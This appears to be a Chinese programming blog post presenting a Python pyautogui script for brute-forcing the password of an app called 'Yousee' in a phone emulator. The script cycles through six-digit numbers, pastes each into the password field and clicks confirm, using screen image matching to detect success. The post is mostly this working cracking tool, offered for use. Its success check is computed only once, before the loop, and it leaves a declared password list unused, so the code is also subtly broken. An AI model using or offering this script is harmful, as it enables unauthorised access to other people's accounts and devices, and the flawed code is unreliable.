Python.PyAutoGUI.利用手机模拟器破解Yousee密码

本文介绍了一种通过遍历可能的密码组合并使用自动化工具进行输入的方法。该方法利用了pyautogui库来模拟用户操作,包括点击密码输入框、粘贴密码以及点击确认按钮。此外,还实现了通过截图和图像识别来判断密码是否输入成功。
import pyautogui as pag
import time
import pyperclip

# todo 截取图像,用于判断密码是否输入成功
# 图片生成路径
path = 'pics/password_input2.png'
# 获取鼠标位置
# mouse_position = pag.position()

# 截取图片坐标
# print(mouse_position)
mouse_position_l = (150, 127)
mouse_position_r = (448, 220)

# 密码输入框坐标
pswd_x = 676
pswd_y = 384
# 确定按钮坐标
confirm_x = 739
confirm_y = 440


# 576 367 788 402


def cut_pic(path, mouse_position_l, mouse_position_r):
    '''
    截取图片到指定位置
    :param path: 图片保存路径
    :param mouse_position_l: 左上角坐标
    :param mouse_position_r: 右下角坐标
    :return:返回截取的图像
    '''
    x_l, y_l = mouse_position_l
    x_r, y_r = mouse_position_r
    left = x_l
    top = y_l
    width = x_r - x_l
    height = y_r - y_l
    pic = pag.screenshot(path, region=(left, top, width, height))
    return pic


# cut_pic(path, mouse_position_l, mouse_position_r)


def get_pic_locate(path):
    '''
    查找图像,并获得图片坐标
    :param path:待比对的图像路径
    :return:返回找到图片的中心点坐标
    '''
    # 在屏幕查找图片
    pic = pag.locateOnScreen(path)
    # 获取图片中心点坐标
    pic_center = pag.center(pic)
    return pic_center


# x = get_pic_locate(path=path)
pic_center_x_y = pag.locateCenterOnScreen(path)

# 密码字典
password_book = ['1234', '12345', '456', '123']

for i in range(100000, 1000000):
    # 点击密码框
    # pag.doubleClick(pswd_x, pswd_y)
    # 如果找到密码框图片
    if pic_center_x_y:
        # 点击密码框
        pag.doubleClick(pic_center_x_y[0],pic_center_x_y[1])
        # 复制密码
        pyperclip.copy(str(i))
        # 打印密码
        print(i)
        # 粘贴密码到密码框
        # 不知道什么原因,pyperclip的粘贴不起作用,所以用pyautogui自带的功能来解决粘贴问题
        pag.hotkey('ctrl', 'v')
        # 点击确定
        pag.click(confirm_x, confirm_y)
        time.sleep(3)
    else:
        print('密码为:{}'.format(i))
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值